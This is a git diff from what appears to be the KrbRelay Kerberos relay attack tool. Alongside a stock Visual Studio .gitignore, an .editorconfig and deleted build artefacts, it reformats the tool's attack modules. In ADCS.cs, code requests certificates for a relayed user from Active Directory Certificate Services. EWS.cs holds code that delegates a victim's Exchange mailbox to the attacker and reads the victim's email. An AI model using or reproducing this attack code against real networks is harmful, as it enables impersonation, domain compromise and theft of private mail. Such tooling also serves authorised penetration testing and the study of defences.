diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..8a30d25
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,398 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+##
+## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
+
+# User-specific files
+*.rsuser
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
+
+# User-specific files (MonoDevelop/Xamarin Studio)
+*.userprefs
+
+# Mono auto generated files
+mono_crash.*
+
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+x64/
+x86/
+[Ww][Ii][Nn]32/
+[Aa][Rr][Mm]/
+[Aa][Rr][Mm]64/
+bld/
+[Bb]in/
+[Oo]bj/
+[Ll]og/
+[Ll]ogs/
+
+# Visual Studio 2015/2017 cache/options directory
+.vs/
+# Uncomment if you have tasks that create the project's static files in wwwroot
+#wwwroot/
+
+# Visual Studio 2017 auto generated files
+Generated\ Files/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+# NUnit
+*.VisualState.xml
+TestResult.xml
+nunit-*.xml
+
+# Build Results of an ATL Project
+[Dd]ebugPS/
+[Rr]eleasePS/
+dlldata.c
+
+# Benchmark Results
+BenchmarkDotNet.Artifacts/
+
+# .NET Core
+project.lock.json
+project.fragment.lock.json
+artifacts/
+
+# ASP.NET Scaffolding
+ScaffoldingReadMe.txt
+
+# StyleCop
+StyleCopReport.xml
+
+# Files built by Visual Studio
+*_i.c
+*_p.c
+*_h.h
+*.ilk
+*.meta
+*.obj
+*.iobj
+*.pch
+*.pdb
+*.ipdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*_wpftmp.csproj
+*.log
+*.tlog
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.svclog
+*.scc
+
+# Chutzpah Test files
+_Chutzpah*
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opendb
+*.opensdf
+*.sdf
+*.cachefile
+*.VC.db
+*.VC.VC.opendb
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+*.sap
+
+# Visual Studio Trace Files
+*.e2e
+
+# TFS 2012 Local Workspace
+$tf/
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+*.DotSettings.user
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# AxoCover is a Code Coverage Tool
+.axoCover/*
+!.axoCover/settings.json
+
+# Coverlet is a free, cross platform Code Coverage Tool
+coverage*.json
+coverage*.xml
+coverage*.info
+
+# Visual Studio code coverage results
+*.coverage
+*.coveragexml
+
+# NCrunch
+_NCrunch_*
+.*crunch*.local.xml
+nCrunchTemp_*
+
+# MightyMoose
+*.mm.*
+AutoTest.Net/
+
+# Web workbench (sass)
+.sass-cache/
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.[Pp]ublish.xml
+*.azurePubxml
+# Note: Comment the next line if you want to checkin your web deploy settings,
+# but database connection strings (with potential passwords) will be unencrypted
+*.pubxml
+*.publishproj
+
+# Microsoft Azure Web App publish settings. Comment the next line if you want to
+# checkin your Azure Web App publish settings, but sensitive information contained
+# in these scripts will be unencrypted
+PublishScripts/
+
+# NuGet Packages
+*.nupkg
+# NuGet Symbol Packages
+*.snupkg
+# The packages folder can be ignored because of Package Restore
+**/[Pp]ackages/*
+# except build/, which is used as an MSBuild target.
+!**/[Pp]ackages/build/
+# Uncomment if necessary however generally it will be regenerated when needed
+#!**/[Pp]ackages/repositories.config
+# NuGet v3's project.json files produces more ignorable files
+*.nuget.props
+*.nuget.targets
+
+# Microsoft Azure Build Output
+csx/
+*.build.csdef
+
+# Microsoft Azure Emulator
+ecf/
+rcf/
+
+# Windows Store app package directories and files
+AppPackages/
+BundleArtifacts/
+Package.StoreAssociation.xml
+_pkginfo.txt
+*.appx
+*.appxbundle
+*.appxupload
+
+# Visual Studio cache files
+# files ending in .cache can be ignored
+*.[Cc]ache
+# but keep track of directories ending in .cache
+!?*.[Cc]ache/
+
+# Others
+ClientBin/
+~$*
+*~
+*.dbmdl
+*.dbproj.schemaview
+*.jfm
+*.pfx
+*.publishsettings
+orleans.codegen.cs
+
+# Including strong name files can present a security risk
+# (https://github.com/github/gitignore/pull/2483#issue-259490424)
+#*.snk
+
+# Since there are multiple workflows, uncomment next line to ignore bower_components
+# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
+#bower_components/
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file
+# to a newer Visual Studio version. Backup files are not needed,
+# because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+ServiceFabricBackup/
+*.rptproj.bak
+
+# SQL Server files
+*.mdf
+*.ldf
+*.ndf
+
+# Business Intelligence projects
+*.rdl.data
+*.bim.layout
+*.bim_*.settings
+*.rptproj.rsuser
+*- [Bb]ackup.rdl
+*- [Bb]ackup ([0-9]).rdl
+*- [Bb]ackup ([0-9][0-9]).rdl
+
+# Microsoft Fakes
+FakesAssemblies/
+
+# GhostDoc plugin setting file
+*.GhostDoc.xml
+
+# Node.js Tools for Visual Studio
+.ntvs_analysis.dat
+node_modules/
+
+# Visual Studio 6 build log
+*.plg
+
+# Visual Studio 6 workspace options file
+*.opt
+
+# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
+*.vbw
+
+# Visual Studio 6 auto-generated project file (contains which files were open etc.)
+*.vbp
+
+# Visual Studio 6 workspace and project file (working project files containing files to include in project)
+*.dsw
+*.dsp
+
+# Visual Studio 6 technical files
+*.ncb
+*.aps
+
+# Visual Studio LightSwitch build output
+**/*.HTMLClient/GeneratedArtifacts
+**/*.DesktopClient/GeneratedArtifacts
+**/*.DesktopClient/ModelManifest.xml
+**/*.Server/GeneratedArtifacts
+**/*.Server/ModelManifest.xml
+_Pvt_Extensions
+
+# Paket dependency manager
+.paket/paket.exe
+paket-files/
+
+# FAKE - F# Make
+.fake/
+
+# CodeRush personal settings
+.cr/personal
+
+# Python Tools for Visual Studio (PTVS)
+__pycache__/
+*.pyc
+
+# Cake - Uncomment if you are using it
+# tools/**
+# !tools/packages.config
+
+# Tabs Studio
+*.tss
+
+# Telerik's JustMock configuration file
+*.jmconfig
+
+# BizTalk build output
+*.btp.cs
+*.btm.cs
+*.odx.cs
+*.xsd.cs
+
+# OpenCover UI analysis results
+OpenCover/
+
+# Azure Stream Analytics local run output
+ASALocalRun/
+
+# MSBuild Binary and Structured Log
+*.binlog
+
+# NVidia Nsight GPU debugger configuration file
+*.nvuser
+
+# MFractors (Xamarin productivity tool) working folder
+.mfractor/
+
+# Local History for Visual Studio
+.localhistory/
+
+# Visual Studio History (VSHistory) files
+.vshistory/
+
+# BeatPulse healthcheck temp database
+healthchecksdb
+
+# Backup folder for Package Reference Convert tool in Visual Studio 2017
+MigrationBackup/
+
+# Ionide (cross platform F# VS Code tools) working folder
+.ionide/
+
+# Fody - auto-generated XML schema
+FodyWeavers.xsd
+
+# VS Code files for those working on multiple tools
+.vscode/*
+!.vscode/settings.json
+!.vscode/tasks.json
+!.vscode/launch.json
+!.vscode/extensions.json
+*.code-workspace
+
+# Local History for Visual Studio Code
+.history/
+
+# Windows Installer files from build outputs
+*.cab
+*.msi
+*.msix
+*.msm
+*.msp
+
+# JetBrains Rider
+*.sln.iml
diff --git a/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
deleted file mode 100644
index 3871b18..0000000
--- a/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
+++ /dev/null
@@ -1,4 +0,0 @@
-//
-using System;
-using System.Reflection;
-[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
diff --git a/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache b/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache
deleted file mode 100644
index d764217..0000000
Binary files a/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache and /dev/null differ
diff --git a/CheckPort/obj/Debug/CheckPort.csproj.ResolveComReference.cache b/CheckPort/obj/Debug/CheckPort.csproj.ResolveComReference.cache
deleted file mode 100644
index edbfeb0..0000000
Binary files a/CheckPort/obj/Debug/CheckPort.csproj.ResolveComReference.cache and /dev/null differ
diff --git a/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
deleted file mode 100644
index d2d6d66..0000000
Binary files a/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache and /dev/null differ
diff --git a/CheckPort/obj/Debug/Interop.NetFwTypeLib.dll b/CheckPort/obj/Debug/Interop.NetFwTypeLib.dll
deleted file mode 100644
index 8465a49..0000000
Binary files a/CheckPort/obj/Debug/Interop.NetFwTypeLib.dll and /dev/null differ
diff --git a/CheckPort/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/CheckPort/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
deleted file mode 100644
index 3871b18..0000000
--- a/CheckPort/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
+++ /dev/null
@@ -1,4 +0,0 @@
-//
-using System;
-using System.Reflection;
-[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
diff --git a/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache b/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache
deleted file mode 100644
index d764217..0000000
Binary files a/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache and /dev/null differ
diff --git a/CheckPort/obj/Release/CheckPort.csproj.FileListAbsolute.txt b/CheckPort/obj/Release/CheckPort.csproj.FileListAbsolute.txt
deleted file mode 100644
index e69de29..0000000
diff --git a/CheckPort/obj/Release/CheckPort.csproj.ResolveComReference.cache b/CheckPort/obj/Release/CheckPort.csproj.ResolveComReference.cache
deleted file mode 100644
index edbfeb0..0000000
Binary files a/CheckPort/obj/Release/CheckPort.csproj.ResolveComReference.cache and /dev/null differ
diff --git a/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
deleted file mode 100644
index 7bd69fd..0000000
Binary files a/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache and /dev/null differ
diff --git a/CheckPort/obj/Release/Interop.NetFwTypeLib.dll b/CheckPort/obj/Release/Interop.NetFwTypeLib.dll
deleted file mode 100644
index e20df45..0000000
Binary files a/CheckPort/obj/Release/Interop.NetFwTypeLib.dll and /dev/null differ
diff --git a/KrbRelay/.editorconfig b/KrbRelay/.editorconfig
new file mode 100644
index 0000000..8a11eb3
--- /dev/null
+++ b/KrbRelay/.editorconfig
@@ -0,0 +1,166 @@
+# editorconfig.org
+
+# top-most EditorConfig file
+root = true
+
+# Default settings:
+# A newline ending every file
+# Use 4 spaces as indentation
+[*]
+insert_final_newline = true
+indent_style = space
+indent_size = 4
+max_line_length = 120
+
+[project.json]
+indent_size = 2
+
+# C# and Visual Basic files
+[*.{cs,vb}]
+charset = utf-8-bom
+
+# Code quality analyzers
+dotnet_analyzer_diagnostic.category-Security.severity = error
+dotnet_code_quality.ca1802.api_surface = private, internal
+
+# Miscellaneous style rules
+dotnet_sort_system_directives_first = true
+dotnet_style_predefined_type_for_locals_parameters_members = true:suggestion
+dotnet_style_predefined_type_for_member_access = true:suggestion
+
+# avoid this. unless absolutely necessary
+dotnet_style_qualification_for_field = false:suggestion
+dotnet_style_qualification_for_property = false:suggestion
+dotnet_style_qualification_for_method = false:suggestion
+dotnet_style_qualification_for_event = false:suggestion
+
+# name all constant fields using PascalCase
+dotnet_naming_rule.constant_fields_should_be_pascal_case.severity = suggestion
+dotnet_naming_rule.constant_fields_should_be_pascal_case.symbols = constant_fields
+dotnet_naming_rule.constant_fields_should_be_pascal_case.style = pascal_case_style
+dotnet_naming_symbols.constant_fields.applicable_kinds = field
+dotnet_naming_symbols.constant_fields.required_modifiers = const
+dotnet_naming_style.pascal_case_style.capitalization = pascal_case
+
+# static fields should have s_ prefix
+dotnet_naming_rule.static_fields_should_have_prefix.severity = suggestion
+dotnet_naming_rule.static_fields_should_have_prefix.symbols = static_fields
+dotnet_naming_rule.static_fields_should_have_prefix.style = static_prefix_style
+dotnet_naming_symbols.static_fields.applicable_kinds = field
+dotnet_naming_symbols.static_fields.required_modifiers = static
+dotnet_naming_symbols.static_fields.applicable_accessibilities = private, internal, private_protected
+dotnet_naming_style.static_prefix_style.required_prefix = s_
+dotnet_naming_style.static_prefix_style.capitalization = camel_case
+
+# internal and private fields should be _camelCase
+dotnet_naming_rule.camel_case_for_private_internal_fields.severity = suggestion
+dotnet_naming_rule.camel_case_for_private_internal_fields.symbols = private_internal_fields
+dotnet_naming_rule.camel_case_for_private_internal_fields.style = camel_case_underscore_style
+dotnet_naming_symbols.private_internal_fields.applicable_kinds = field
+dotnet_naming_symbols.private_internal_fields.applicable_accessibilities = private, internal
+dotnet_naming_style.camel_case_underscore_style.required_prefix = _
+dotnet_naming_style.camel_case_underscore_style.capitalization = camel_case
+
+# Code quality
+dotnet_style_readonly_field = true:suggestion
+dotnet_code_quality_unused_parameters = non_public:suggestion
+
+# Expression-level preferences
+dotnet_style_object_initializer = true:suggestion
+dotnet_style_collection_initializer = true:suggestion
+dotnet_style_explicit_tuple_names = true:suggestion
+dotnet_style_coalesce_expression = true:suggestion
+dotnet_style_null_propagation = true:suggestion
+dotnet_style_prefer_is_null_check_over_reference_equality_method = true:suggestion
+dotnet_style_prefer_inferred_tuple_names = true:suggestion
+dotnet_style_prefer_inferred_anonymous_type_member_names = true:suggestion
+dotnet_style_prefer_auto_properties = true:suggestion
+dotnet_style_prefer_conditional_expression_over_assignment = true:refactoring
+dotnet_style_prefer_conditional_expression_over_return = true:refactoring
+
+# C# files
+[*.cs]
+# New line preferences
+csharp_new_line_before_open_brace = all
+csharp_new_line_before_else = true
+csharp_new_line_before_catch = true
+csharp_new_line_before_finally = true
+csharp_new_line_before_members_in_object_initializers = true
+csharp_new_line_before_members_in_anonymous_types = true
+csharp_new_line_between_query_expression_clauses = true
+
+# Indentation preferences
+csharp_indent_block_contents = true
+csharp_indent_braces = false
+csharp_indent_case_contents = true
+csharp_indent_case_contents_when_block = true
+csharp_indent_switch_labels = true
+csharp_indent_labels = one_less_than_current
+
+# Modifier preferences
+csharp_preferred_modifier_order = public,private,protected,internal,static,extern,new,virtual,abstract,sealed,override,readonly,unsafe,volatile,async:suggestion
+
+# Code style defaults
+csharp_using_directive_placement = outside_namespace:suggestion
+csharp_prefer_braces = true:refactoring
+csharp_preserve_single_line_blocks = true:none
+csharp_preserve_single_line_statements = false:none
+csharp_prefer_static_local_function = true:suggestion
+csharp_prefer_simple_using_statement = false:none
+csharp_style_prefer_switch_expression = true:suggestion
+
+# Expression-bodied members
+csharp_style_expression_bodied_methods = true:refactoring
+csharp_style_expression_bodied_constructors = true:refactoring
+csharp_style_expression_bodied_operators = true:refactoring
+csharp_style_expression_bodied_properties = true:refactoring
+csharp_style_expression_bodied_indexers = true:refactoring
+csharp_style_expression_bodied_accessors = true:refactoring
+csharp_style_expression_bodied_lambdas = true:refactoring
+csharp_style_expression_bodied_local_functions = true:refactoring
+
+# Pattern matching
+csharp_style_pattern_matching_over_is_with_cast_check = true:suggestion
+csharp_style_pattern_matching_over_as_with_null_check = true:suggestion
+csharp_style_inlined_variable_declaration = true:suggestion
+
+# Expression-level preferences
+csharp_prefer_simple_default_expression = true:suggestion
+
+# Null checking preferences
+csharp_style_throw_expression = true:suggestion
+csharp_style_conditional_delegate_call = true:suggestion
+
+# Other features
+csharp_style_prefer_index_operator = false:none
+csharp_style_prefer_range_operator = false:none
+csharp_style_pattern_local_over_anonymous_function = false:none
+
+# Space preferences
+csharp_space_after_cast = false
+csharp_space_after_colon_in_inheritance_clause = true
+csharp_space_after_comma = true
+csharp_space_after_dot = false
+csharp_space_after_keywords_in_control_flow_statements = true
+csharp_space_after_semicolon_in_for_statement = true
+csharp_space_around_binary_operators = before_and_after
+csharp_space_around_declaration_statements = do_not_ignore
+csharp_space_before_colon_in_inheritance_clause = true
+csharp_space_before_comma = false
+csharp_space_before_dot = false
+csharp_space_before_open_square_brackets = false
+csharp_space_before_semicolon_in_for_statement = false
+csharp_space_between_empty_square_brackets = false
+csharp_space_between_method_call_empty_parameter_list_parentheses = false
+csharp_space_between_method_call_name_and_opening_parenthesis = false
+csharp_space_between_method_call_parameter_list_parentheses = false
+csharp_space_between_method_declaration_empty_parameter_list_parentheses = false
+csharp_space_between_method_declaration_name_and_open_parenthesis = false
+csharp_space_between_method_declaration_parameter_list_parentheses = false
+csharp_space_between_parentheses = false
+csharp_space_between_square_brackets = false
+
+# Types: use keywords instead of BCL types, and permit var only when the type is clear
+csharp_style_var_for_built_in_types = false:suggestion
+csharp_style_var_when_type_is_apparent = false:none
+csharp_style_var_elsewhere = false:suggestion
\ No newline at end of file
diff --git a/KrbRelay/Clients/Attacks/Http/ADCS.cs b/KrbRelay/Clients/Attacks/Http/ADCS.cs
index 500c98d..5f85c9b 100644
--- a/KrbRelay/Clients/Attacks/Http/ADCS.cs
+++ b/KrbRelay/Clients/Attacks/Http/ADCS.cs
@@ -23,7 +23,12 @@ internal class ADCS
{
// https://github.com/bats3c/ADCSPwn
- public static void requestCertificate(HttpClient httpClient, string user, string domain, string template = null)
+ public static void requestCertificate(
+ HttpClient httpClient,
+ string user,
+ string domain,
+ string template = null
+ )
{
HttpResponseMessage result;
@@ -37,15 +42,19 @@ public static void requestCertificate(HttpClient httpClient, string user, string
// set the attributes of the cert
var cert_attribs = new Dictionary
{
- {
- X509Name.CN, string.Format("{0}\\{1}", domain, user)
- }
+ { X509Name.CN, string.Format("{0}\\{1}", domain, user) }
};
var subject = new X509Name(cert_attribs.Keys.ToList(), cert_attribs);
// generate the CSR
- var pkcs10CertificationRequest = new Pkcs10CertificationRequest(PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, subject, keyPair.Public, null, keyPair.Private);
+ var pkcs10CertificationRequest = new Pkcs10CertificationRequest(
+ PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id,
+ subject,
+ keyPair.Public,
+ null,
+ keyPair.Private
+ );
var csr = Convert.ToBase64String(pkcs10CertificationRequest.GetEncoded());
// correctly format the certificate
@@ -83,10 +92,22 @@ public static void requestCertificate(HttpClient httpClient, string user, string
data += CertificateTemplates[i];
data += "&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=";
- using (var message = new HttpRequestMessage(HttpMethod.Post, "certsrv/certfnsh.asp"))
+ using (
+ var message = new HttpRequestMessage(
+ HttpMethod.Post,
+ "certsrv/certfnsh.asp"
+ )
+ )
{
- message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko");
- message.Content = new StringContent(data, Encoding.UTF8, "application/x-www-form-urlencoded");
+ message.Headers.Add(
+ "User-Agent",
+ "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"
+ );
+ message.Content = new StringContent(
+ data,
+ Encoding.UTF8,
+ "application/x-www-form-urlencoded"
+ );
message.Method = HttpMethod.Post;
result = httpClient.SendAsync(message).Result;
}
@@ -111,7 +132,9 @@ public static void requestCertificate(HttpClient httpClient, string user, string
else
{
found_template = true;
- Console.WriteLine("[+] Found valid template: " + CertificateTemplates[i]);
+ Console.WriteLine(
+ "[+] Found valid template: " + CertificateTemplates[i]
+ );
break;
}
}
@@ -121,7 +144,7 @@ public static void requestCertificate(HttpClient httpClient, string user, string
if (!found_template)
{
Console.WriteLine("[-] Unable to find any usable templates");
- Environment.Exit(1);
+ return;
}
// find the req id of the certificate
@@ -129,17 +152,27 @@ public static void requestCertificate(HttpClient httpClient, string user, string
reqid = match.Groups[1].ToString();
if (reqid.Length == 0)
{
- Console.WriteLine("[-] Failed to find the certificate request id... dumping all page content.");
+ Console.WriteLine(
+ "[-] Failed to find the certificate request id... dumping all page content."
+ );
Console.WriteLine(responseFromServer);
- Environment.Exit(1);
+ return;
}
//reqid = "62";
Console.WriteLine("[*] SUCCESS (ReqID: " + reqid + ")");
Console.WriteLine("[*] Downloading certificate");
- using (var message = new HttpRequestMessage(HttpMethod.Get, String.Format("certsrv/certnew.cer?ReqID={0}", reqid)))
+ using (
+ var message = new HttpRequestMessage(
+ HttpMethod.Get,
+ String.Format("certsrv/certnew.cer?ReqID={0}", reqid)
+ )
+ )
{
- message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko");
+ message.Headers.Add(
+ "User-Agent",
+ "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"
+ );
result = httpClient.SendAsync(message).Result;
}
@@ -203,11 +236,12 @@ public static void requestCertificate(HttpClient httpClient, string user, string
public static string[] templateHunter()
{
- String Base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,";
+ String Base =
+ "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,";
DirectoryEntry DirEntry = null;
DirectorySearcher DirSearch = null;
- String LdapBase = Base + Program.domainDN;
+ String LdapBase = Base + State.domainDN;
DirEntry = new DirectoryEntry(LdapBase);
DirSearch = new DirectorySearcher(DirEntry);
@@ -221,8 +255,7 @@ public static string[] templateHunter()
{
Templates.Add(Result.Properties["name"][0].ToString());
}
- catch (Exception ex)
- { }
+ catch (Exception ex) { }
}
return Templates.ToArray();
@@ -236,8 +269,7 @@ public class PasswordStore : IPasswordFinder
{
private char[] password;
- public PasswordStore(
- char[] password)
+ public PasswordStore(char[] password)
{
this.password = password;
}
@@ -248,4 +280,4 @@ public char[] GetPassword()
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Http/EWS.cs b/KrbRelay/Clients/Attacks/Http/EWS.cs
index 8b8f819..72c2fad 100644
--- a/KrbRelay/Clients/Attacks/Http/EWS.cs
+++ b/KrbRelay/Clients/Attacks/Http/EWS.cs
@@ -16,7 +16,8 @@ internal class EWS
public static string findMailbox(HttpClient httpClient, string user)
{
- string soapRequestXML = String.Format(@"
+ string soapRequestXML = String.Format(
+ @"
@@ -26,7 +27,11 @@ public static string findMailbox(HttpClient httpClient, string user)
{1}
-", exchangeVersion, user); ;
+",
+ exchangeVersion,
+ user
+ );
+ ;
using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx"))
{
@@ -39,12 +44,18 @@ public static string findMailbox(HttpClient httpClient, string user)
var result = httpClient.SendAsync(message).Result;
if (result.StatusCode == HttpStatusCode.OK)
{
- string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();
+ string responseXml = result.Content
+ .ReadAsStringAsync()
+ .GetAwaiter()
+ .GetResult();
var xml = XDocument.Parse(responseXml);
XmlDocument xdoc = new XmlDocument();
xdoc.LoadXml(responseXml);
var nsmgr = new XmlNamespaceManager(xdoc.NameTable);
- nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types");
+ nsmgr.AddNamespace(
+ "t",
+ "http://schemas.microsoft.com/exchange/services/2006/types"
+ );
XmlNodeList list = xdoc.SelectNodes("//t:EmailAddress", nsmgr);
if (list[0] != null)
@@ -69,7 +80,8 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string
Console.WriteLine("[*] Found victim email: {0}", vEmail);
}
- string soapRequestXML = string.Format(@"
+ string soapRequestXML = string.Format(
+ @"
@@ -99,7 +111,11 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string
DelegatesAndSendInformationToMe
-", exchangeVersion, vEmail, user);
+",
+ exchangeVersion,
+ vEmail,
+ user
+ );
using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx"))
{
@@ -118,10 +134,16 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string
}
}
- public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", string filter = "", int limit = 100)
+ public static void readMailbox(
+ HttpClient httpClient,
+ string mailbox = "inbox",
+ string filter = "",
+ int limit = 100
+ )
{
filter = filter.Replace(",", " OR ");
- string soapRequestXML = string.Format(@"
+ string soapRequestXML = string.Format(
+ @"
@@ -138,7 +160,12 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox",
{3}
-", exchangeVersion, limit, mailbox, filter);
+",
+ exchangeVersion,
+ limit,
+ mailbox,
+ filter
+ );
using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx"))
{
@@ -152,13 +179,19 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox",
Console.WriteLine("[*] resp: " + result.StatusCode);
if (result.StatusCode == HttpStatusCode.OK)
{
- string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();
+ string responseXml = result.Content
+ .ReadAsStringAsync()
+ .GetAwaiter()
+ .GetResult();
//Console.WriteLine(responseXml);
var xml = XDocument.Parse(responseXml);
XmlDocument xdoc = new XmlDocument();
xdoc.LoadXml(responseXml);
var nsmgr = new XmlNamespaceManager(xdoc.NameTable);
- nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types");
+ nsmgr.AddNamespace(
+ "t",
+ "http://schemas.microsoft.com/exchange/services/2006/types"
+ );
XmlNodeList list = xdoc.SelectNodes("//t:Message", nsmgr);
Console.WriteLine("[*] Searching in inbox");
@@ -166,7 +199,11 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox",
for (int cc = 0; cc < list.Count; cc++)
{
XmlNode ItemId = list[cc].SelectNodes("//t:ItemId", nsmgr)[cc];
- var email = readEmail(httpClient, ItemId.Attributes["Id"].Value, ItemId.Attributes["ChangeKey"].Value);
+ var email = readEmail(
+ httpClient,
+ ItemId.Attributes["Id"].Value,
+ ItemId.Attributes["ChangeKey"].Value
+ );
Console.WriteLine("Date: {0}", email.Date);
Console.WriteLine("From: {0}", email.From);
@@ -182,7 +219,8 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox",
public static MimeMessage readEmail(HttpClient httpClient, string id, string changeKey)
{
- string soapRequestXML = string.Format(@"
+ string soapRequestXML = string.Format(
+ @"
@@ -200,7 +238,11 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha
-", exchangeVersion, id, changeKey);
+",
+ exchangeVersion,
+ id,
+ changeKey
+ );
using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx"))
{
@@ -214,16 +256,26 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha
//Console.WriteLine("[*] resp: " + result.StatusCode);
if (result.StatusCode == HttpStatusCode.OK)
{
- string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();
+ string responseXml = result.Content
+ .ReadAsStringAsync()
+ .GetAwaiter()
+ .GetResult();
var xml = XDocument.Parse(responseXml);
XmlDocument xdoc = new XmlDocument();
xdoc.LoadXml(responseXml);
var nsmgr = new XmlNamespaceManager(xdoc.NameTable);
- nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types");
+ nsmgr.AddNamespace(
+ "t",
+ "http://schemas.microsoft.com/exchange/services/2006/types"
+ );
XmlNodeList mimeXml = xdoc.SelectNodes("//t:MimeContent", nsmgr);
MimeMessage mm = new MimeMessage();
- using (Stream stream = new MemoryStream(Convert.FromBase64String(mimeXml[0].InnerText)))
+ using (
+ Stream stream = new MemoryStream(
+ Convert.FromBase64String(mimeXml[0].InnerText)
+ )
+ )
{
mm = MimeMessage.Load(stream);
}
@@ -236,4 +288,4 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Http/ProxyServer.cs b/KrbRelay/Clients/Attacks/Http/ProxyServer.cs
index b289f35..4e70c78 100644
--- a/KrbRelay/Clients/Attacks/Http/ProxyServer.cs
+++ b/KrbRelay/Clients/Attacks/Http/ProxyServer.cs
@@ -35,9 +35,7 @@ public class ProxyServer : IDisposable
private readonly string _targetHost;
public ProxyServer(string targetUrl, params string[] prefixes)
- : this(new Uri(targetUrl), prefixes)
- {
- }
+ : this(new Uri(targetUrl), prefixes) { }
public ProxyServer(Uri targetUrl, params string[] prefixes)
{
@@ -72,11 +70,21 @@ public ProxyServer(Uri targetUrl, params string[] prefixes)
public bool RewriteReferer { get; set; } // this can have performance impact...
public HttpClient httpClient { get; set; }
- public static async void Start(HttpClient httpClient, string targetUrl, string port = "5000")
+ public static void Start(
+ HttpClient httpClient,
+ string targetUrl,
+ string port = "5000"
+ )
{
Console.WriteLine(string.Format("[*] Starting proxy server on :{0}", port));
Console.WriteLine("[*] Target url: {0}", targetUrl);
